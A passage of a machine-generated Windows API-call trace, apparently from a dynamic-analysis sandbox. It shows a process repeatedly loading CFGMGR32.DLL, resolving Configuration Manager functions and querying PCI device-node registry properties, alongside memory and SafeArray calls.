lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.187] malloc (_Size=0x18) returned 0x196ef0d1b00 [0192.187] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0192.188] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0192.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5368abcf, dwHighDateTime=0x1d9eb0c)) [0192.188] SetEvent (hEvent=0x248) returned 1 [0192.192] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.192] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.195] malloc (_Size=0x18) returned 0x196ef0d20e0 [0192.195] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0192.195] malloc (_Size=0x48) returned 0x196ef0fb680 [0192.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5368abcf, dwHighDateTime=0x1d9eb0c)) [0192.195] SetEvent (hEvent=0x248) returned 1 [0192.201] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.201] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.205] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0192.205] CM_Get_Device_IDA (in: dnDevInst=0x29, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2934&SUBSYS_11001AF4&REV_03\\3&11583659&0&20") returned 0x0 [0192.205] malloc (_Size=0x48) returned 0x196ef0fb950 [0192.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x536b0d71, dwHighDateTime=0x1d9eb0c)) [0192.205] SetEvent (hEvent=0x248) returned 1 [0192.375] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.375] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.378] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0192.378] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0192.379] malloc (_Size=0x124) returned 0x196ef0d6890 [0192.379] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0192.380] free (_Block=0x196ef0d6890) [0192.380] malloc (_Size=0x48) returned 0x196ef0fb270 [0192.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x53854cee, dwHighDateTime=0x1d9eb0c)) [0192.380] SetEvent (hEvent=0x248) returned 1 [0192.382] malloc (_Size=0x18) returned 0x196ef0d1f80 [0192.382] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.382] free (_Block=0x196ef0d1f80) [0192.382] malloc (_Size=0x18) returned 0x196ef0d1e20 [0192.382] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.383] free (_Block=0x196ef0d1e20) [0192.383] malloc (_Size=0x18) returned 0x196ef0d1960 [0192.383] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.383] free (_Block=0x196ef0d1960) [0192.383] malloc (_Size=0x18) returned 0x196ef0d1c80 [0192.383] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.383] free (_Block=0x196ef0d1c80) [0192.383] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0192.383] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0192.383] SafeArrayGetLBound (in: psa=0x196ee7bf0a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0192.383] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0192.383] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5f90 [0192.383] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0192.383] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0192.383] SafeArrayGetElemsize (psa=0x196ee7bf0a0) returned 0x8 [0192.384] SafeArrayGetElement (in: psa=0x196ee7bf0a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0192.384] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6230, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.384] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6238, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.384] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6240, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.385] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6248, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.385] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5f90) returned 1 [0192.386] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0192.386] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.386] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.390] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0192.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0192.390] malloc (_Size=0x10e) returned 0x196ef0d6890 [0192.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0192.391] free (_Block=0x196ef0d6890) [0192.391] malloc (_Size=0x48) returned 0x196ef0fbe50 [0192.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5387b56f, dwHighDateTime=0x1d9eb0c)) [0192.391] SetEvent (hEvent=0x248) returned 1 [0192.395] malloc (_Size=0x18) returned 0x196ef0d1c00 [0192.395] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0192.395] free (_Block=0x196ef0d1c00) [0192.395] malloc (_Size=0x18) returned 0x196ef0d20c0 [0192.395] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.395] free (_Block=0x196ef0d20c0) [0192.395] malloc (_Size=0x18) returned 0x196ef0d1e60 [0192.395] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.396] free (_Block=0x196ef0d1e60) [0192.396] malloc (_Size=0x18) returned 0x196ef0d1c80 [0192.396] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.396] free (_Block=0x196ef0d1c80) [0192.396] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0192.396] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.396] free (_Block=0x196ef0d1bc0) [0192.396] malloc (_Size=0x18) returned 0x196ef0d1d60 [0192.396] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.396] free (_Block=0x196ef0d1d60) [0192.396] malloc (_Size=0x18) returned 0x196ef0d20e0 [0192.396] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0192.396] free (_Block=0x196ef0d20e0) [0192.396] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0192.397] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0192.397] SafeArrayGetLBound (in: psa=0x196ee7bec60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0192.397] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0192.397] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5f90 [0192.397] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0192.397] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0192.397] SafeArrayGetElemsize (psa=0x196ee7bec60) returned 0x8 [0192.397] SafeArrayGetElement (in: psa=0x196ee7bec60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0192.397] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.398] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee18, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.398] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.398] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.398] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.398] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.399] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.399] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5f90) returned 1 [0192.400] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0192.400] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.400] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.404] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0192.404] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.408] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0192.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x538a1031, dwHighDateTime=0x1d9eb0c)) [0192.409] SetEvent (hEvent=0x248) returned 1 [0192.410] SetEvent (hEvent=0x248) returned 1 [0192.410] free (_Block=0x196ef0fb4a0) [0192.410] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.411] malloc (_Size=0x48) returned 0x196ef0fbc20 [0192.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x538a1031, dwHighDateTime=0x1d9eb0c)) [0192.411] SetEvent (hEvent=0x248) returned 1 [0192.412] SetEvent (hEvent=0x248) returned 1 [0192.412] free (_Block=0x196ef0fbc20) [0192.413] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 